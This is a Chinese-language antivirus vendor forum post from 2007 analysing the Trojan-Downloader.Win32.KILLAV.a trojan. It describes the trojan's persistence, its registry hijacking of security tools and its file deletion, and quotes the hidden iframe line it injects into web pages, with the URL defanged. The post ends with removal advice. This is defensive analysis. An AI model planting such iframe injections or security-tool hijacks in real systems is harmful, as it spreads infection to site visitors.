微点交流论坛

标题: 木马程序 Trojan-Downloader.Win32.KILLAV.a [打印本页]

作者: pioneer 时间: 2007-9-29 18:15 标题: 木马程序 Trojan-Downloader.Win32.KILLAV.a

病毒名称

Trojan-Downloader.Win32.KILLAV.a

捕获时间

2007-9-24

病毒症状

   该病毒是一个使用delphi编写的一个恶意木马下载者程序，经过加壳长度为28,160 字节，图标为常规可执行文件图标，主要通过可移动存储介质、网页等多种方式传播。

病毒分析

   该木马程序激活后，拷贝自身并重命名为crsss.exe到%SystemRoot%\system32\目录下作为病毒母体执行，创建互斥体避免副本病毒进程被激活；通过获取磁盘类型得到当前主机的驱动器列表并在每个盘符下进行病毒副本拷贝，文件名为niu.exe，释放autorun.inf文件指向niu.exe；；修改系统时间年份为2000年；执行net命令将服务描述为“硬件自动播放通知”的服务启用；大规模执行reg命令对注册表IFEO项重复写入，达到劫持其他杀毒软件和安全工具的目的，由于后台开启进程较多，会导致系统运行缓慢直至reg.exe由于资源不够崩溃；执行reg命令破坏安全模式、破坏隐藏文件显示并将显示信息修改为“禽兽尚且有半点怜悯之心,而我一点没有,所以我不是禽兽”，禁止任务栏开启任务管理器，锁定Windows自动更新选项，锁定IE浏览器主页；读取下载列表后台下载多数盗号木马程序；遍历文件删除扩展名为gho的文件，感染Index.asp/Index.php/.htm/default.asp/default.php/conn.asp文件，追加木马连接代码“<IfrAmE src=hxxp://www.zpx520.com/x.htm width=0 height=0></IfrAmE>”（网址已作屏蔽）；获取窗口信息通过消息关系含有“病毒、木马、检测、wpe、抓”等字样的窗口。

中毒现象

系统运行缓慢网络堵塞、系统工具及其部分杀软、安全工具无法打开、打开在线杀毒的窗口就被关闭、无法改变自动更新状态、任务栏调用任务管理器变为灰色不可用状态。

感染对象

Windows 98/Windows ME/Windows 2000/Windows XP/Windows 2003

传播途径

可移动存储、网页感染

安全提示

   已安装微点主动防御软件的用户，无论您是否已经升级到最新版本，微点主动防御都能够有效防御该木马程序。如果您没有将微点主动防御软件升级到最新版，微点主动防御软件在发现该病毒后将报警提示您“发现未知木马”，请直接选择删除处理（如图1）；

图1

如果您已经将微点主动防御软件升级到最新版本，微点将报警提示您发现Trojan-Downloader.Win32.KILLAV.a”，请直接选择删除（如图2）。

               图2

   使用其它杀毒软件的用户，请尽快将您的杀毒软件特征库升级到最新版本进行查杀，并开启防火墙拦截网络异常访问，如依然有异常情况请注意及时与专业的安全软件厂商联系获取技术支持。由于该病毒的特殊性，会使得某些杀毒软件无法正常运行，如果您的杀毒软件已经无法正常运行，您也可以尝试安装微点解决。

   没有安装微点主动防御软件的用户，建议您尽快安装使用微点主动防御软件查杀预防各类新病毒。

欢迎光临微点交流论坛 (http://bbs.micropoint.com.cn/)

bbs.micropoint.com.cn